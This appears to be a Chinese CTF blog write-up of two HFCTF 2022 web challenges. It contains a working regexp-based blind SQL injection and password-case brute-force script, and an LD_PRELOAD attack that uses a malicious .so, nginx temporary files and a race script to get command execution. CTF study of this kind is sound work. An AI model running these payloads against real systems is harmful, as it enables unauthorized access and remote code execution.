虎符ctf2022 web学习

babysql

题目hint.md:


CREATE TABLE `auth` (

 `id` int NOT NULL AUTO_INCREMENT,

 `username` varchar(32) NOT NULL,

 `password` varchar(32) NOT NULL,

 PRIMARY KEY (`id`),

 UNIQUE KEY `auth_username_uindex` (`username`)

) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;


import { Injectable } from '@nestjs/common';

import { ConnectionProvider } from '../database/connection.provider';

  

export class User {

 id: number;

 username: string;

}

  

function safe(str: string): string {

 const r = str

 .replace(/[\s,()#;*\-]/g, '')

 .replace(/^.*(?=union|binary).*$/gi, '')

 .toString();

 return r;

}

  

@Injectable()

export class AuthService {

 constructor(private connectionProvider: ConnectionProvider) {}

  

 async validateUser(username: string, password: string): Promise<User> | null {

 const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;

 const [rows] = await this.connectionProvider.use((c) => c.query(sql));

 const user = rows[0];

 if (user && user.password === password) {

 // eslint-disable-next-line @typescript-eslint/no-unused-vars

 const { password, ...result } = user;

 return result;

 }

 return null;

 }

}

mysql优先级and > or,另外regexp函数执行的时候才会检查语法。我们先让and检测盲注,如果为真则跳过or不执行regexp,为假执行regexp报错,即可达到回显不一样的效果
特殊符号要手动注释:
As MySQL uses the C escape syntax in strings (for example, “\n” to represent the newline character), you must double any “\” that you use in your REGEXP strings. REGEXP is not case sensitive, except when used with binary strings.

另外mysql不区分大小写,最后还得dfs爆破密码

'''
username="'or`username`regexp'^猜'and'1'or`password`regexp'["
username=qay8tefyzc67aeoo
password=m52fpldxyylb^eizar!8gxh$
m52fpldxyylb\\^eizar\\!8gxh\\$
'''
url='http://47.107.231.226:20155/login'
import sys
import requests
import string
def go():
    done='m52fpldxyylb\\\^eizar\\\!'
    done='m52fpldxyylb\\^eizar\\!8gxh\\$'
    print(done)
    dict=string.ascii_letters+string.digits
    while 1:
        for guess in dict:
            # username:
            # data={
            #     "username":f"'or`username`regexp'^{done+guess}'and'1'or`password`regexp'[",
            #     "password":"foo"
            # }

            #password:特殊字符  []*?+-%_|(){}\^$.:     !@$%^&_+
            data={
                "username":f"'or`username`='qay8tefyzc67aeoo'and`password`regexp'^{done+guess}'or`password`regexp'[",
                "password":"foo"
            }
            r=requests.post(url=url,data=data)
            if 'Unauthorized' in r.text:
                done+=guess
                print(done)
                break
def fuck_psw():
    # 爆破密码大小写
    password='m52fpldxyylb^eizar!8gxh$'
    indices=[]
    for i in range(len(password)):
        if password[i] in string.ascii_lowercase:
            indices.append(i)
    # print(indices)
    done=[]
    dfs([])
len_psw=len('m52fpldxyylb^eizar!8gxh$')
indices=[0, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14, 15, 16, 17, 20, 21, 22]
len_indices=len(indices)
password='m52fpldxyylb^eizar!8gxh$'
def dfs(done):
    done_len=0 if done==[] else len(done)
    if(done_len==len_indices):
        _psw=''
        j=0
        for i in range(len(password)):
            if password[i] in string.ascii_lowercase:
                _psw+=done[j]
                j+=1
            else:
                _psw+=password[i]
                
        check(_psw)
        return
    doing=password[indices[done_len]]
    t1=done+[doing]
    t2=done+[doing.upper()]
    dfs(t1)
    dfs(t2)
_time=0
def check(str):
    # print(str)
    global _time
    if _time % 100==0:
        print(_time)
    r=requests.post(url=url,data={
        "username":"qay8tefyzc67aeoo",
        "password":str
    })
    if 'Unauthorized' not in r.text:
        print(str)
        sys.exit(0)
    _time+=1

def test():
    data={
        "username":"'or`username`regexp'^.'and'1'or`password`regexp'[",
        "password":"foo"
    }
    r=requests.post(url=url,data=data)
    print(r.text)
if __name__=='__main__':
    # test()
    # go()
    fuck_psw()

另外可以COLLATE'utf8mb4_bin' 或 COLLATE'utf8mb4_0900_as_cs'突破大小写限制,但是和数据库的字符集有关,不能通用。

ezphp

题目就一句话

<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : 
putenv($_GET["env"]) && system('echo hfctf2022');?>

nginx 临时文件+LD_PRELOAD加载恶意so

POST BODY过大时nginx会在/proc产生临时文件的fd,可以利用这一点竞争加载恶意so,具体看
Winning the Impossible Race – An Unintended Solution for Includer’s Revenge / Counter (hxp 2021)

先写个恶意so文件。首先要找利用的函数。P神的文章里提到,php system调用了sh -c,而ubuntu中,sh是dash的软链接。在ubuntu中输入readelf -s /bin/dash查看其调用glibc里的哪些函数。试了几个函数之后,我选择了geteuid函数。

然后写so文件。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
        system("cat /flag>/var/www/html/flag");
}


int  geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

为了把so文件弄大触发nginx临时文件,在代码中加一个很长的字符串。最后so文件控制在16kb-1mb之间就好

然后编译
gcc -shared -fPIC a.c -o a.so

接下来编写竞争脚本。

首先确定nginx的pid值。我只在本地复现了这题,是可以看到具体值的。在docker里使用top命令

仿照Guy Lewin博客里的exp,我自己重写了一下。每个CPU分配一个进程post文件;再给每个nginx pid分配一个进程,每个进程开n个线程爆破fd,其中n是fd的个数

import threading
import requests
import multiprocessing
import urllib.parse
mysession = requests.Session()
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
mysession.mount('http://', adapter)

url='http://192.168.0.109:49154/index.php'

pids=list(range(11,20))
fds=list(range(10,45))

post_time=0
get_time=0
max_post=100
max_get=1000

def post_file():
    global max_post
    global post_time
    while 1:
        post_time+=1
        if(post_time>=max_post):
            break
        if(post_time%100==0):
            print('post'+str(post_time))
        try:
            mysession.post(url=url,data=open('./a.so','rb'))
        except:
            pass

def get_url(fd,pid):
    global get_time
    global max_get
    quote=urllib.parse.quote_plus(f'LD_PRELOAD=/proc/{pid}/fd/{fd}')
    path=url+'?env='+quote
    while 1:
        get_time+=1
        if(get_time%1000==0):
            print('get'+str(get_time)) 
        if(get_time>=max_get):
            break
        try:
            mysession.get(url=path)
        except:
            pass

def post_file_worker():
    # 为每一个cpu开一个进程post文件
    for i in range(multiprocessing.cpu_count()):
        p=multiprocessing.Process(target=post_file)
        p.start()
def get_url_worker():
    # 为每一个pid开一个进程
    for pid in pids:
        p=multiprocessing.Process(target=get_url_make_thread,args=(pid,))
        p.start()
def get_url_make_thread(pid):
    # 每一个进程开n个线程,n是爆破fd的数目
    for fd in fds:
        t=threading.Thread(target=get_url,args=(fd,pid))
        t.start()

if __name__=='__main__':
    print('开始post')
    post_file_worker()
    print('开始get')
    get_url_worker()

然后用i5 11代冲爆这题 ()

posted @ 2022-03-30 23:57  KingBridge  阅读(147)  评论(0编辑  收藏  举报